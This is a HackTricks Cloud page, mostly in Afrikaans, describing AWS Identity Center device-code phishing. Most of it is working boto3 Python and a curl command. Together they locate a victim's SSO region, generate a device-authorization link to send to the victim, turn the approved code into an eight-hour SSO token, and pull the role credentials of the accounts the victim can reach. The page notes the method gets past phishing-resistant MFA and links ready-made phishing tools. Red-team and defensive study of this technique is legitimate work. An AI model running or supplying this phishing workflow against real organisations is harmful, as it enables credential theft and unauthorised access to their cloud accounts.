AWS - Identity Center & SSO Unauthenticated Enum
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
AWS Device Code Phishing
Aanvanklik voorgestel in hierdie blogpos, is dit moontlik om ’n skakel aan ’n gebruiker wat AWS SSO gebruik te stuur wat, as die gebruiker dit aanvaar, die aanvaller in staat sal stel om ’n token to impersonate the user te kry en toegang tot al die rolle wat die gebruiker in die Identity Center kan bereik.
Om hierdie aanval uit te voer is die vereistes:
- Die slagoffer moet Identity Center gebruik
- Die aanvaller moet die subdomein ken wat deur die slagoffer gebruik word
<victimsub>.awsapps.com/start
Net met die vorige inligting, sal die aanvaller in staat wees om ’n skakel na die gebruiker te stuur wat, as dit aanvaar word, die aanvaller toegang tot die AWS-gebruikerrekening sal gee.
Attack
- Vind die subdomein
Die eerste stap van die aanvaller is om uit te vind watter subdomein die slagoffermaatskappy in hul Identity Center gebruik. Dit kan gedoen word via OSINT of guessing + BF aangesien meeste maatskappye hul naam of ’n variasie daarvan hier sal gebruik.
Met hierdie inligting is dit moontlik om die streek te kry waar die Identity Center gekonfigureer is:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Genereer die skakel vir die slagoffer & Stuur dit
Voer die volgende kode uit om ’n AWS SSO-aanmeldskakel te genereer sodat die slagoffer kan authentiseer.
Vir die demo, voer hierdie kode in ’n python-konsol uit en verlaat dit nie, aangesien jy later sommige objekte sal nodig hê om die token te kry:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Stuur die gegenereerde skakel na die slagoffer met jou fantastiese social engineering skills!
- Wag totdat die slagoffer dit aanvaar
As die slagoffer alreeds by AWS aangemeld was sal hy net die toestemmings hoef te aanvaar, as hy dit nie was nie, sal hy moet aanmeld en dan die toestemmings aanvaar.
So lyk die prompt deesdae:
.png)
- Kry SSO access token
As die slagoffer die prompt aanvaar het, hardloop hierdie kode om ’n SSO-token te genereer wat die gebruiker naboots:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
Die SSO access token is geldig vir 8h.
- Impersonate the user
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
Dit is interessant om te weet dat die vorige aanval works even if an “unphisable MFA” (webAuth) is being used. Dit is omdat die vorige workflow never leaves the used OAuth domain. Nie soos in ander phishing attacks waar die gebruiker die login domain moet vervang nie; in hierdie geval is die device code workflow so opgestel dat ’n code is known by a device en die gebruiker selfs op ’n ander machine kan login. As die prompt aanvaar word, sal die device, net deur knowing the initial code, in staat wees om retrieve credentials vir die gebruiker te verkry.
Vir meer inligting oor dit check this post.
Outomatiese gereedskap
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Verwysings
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

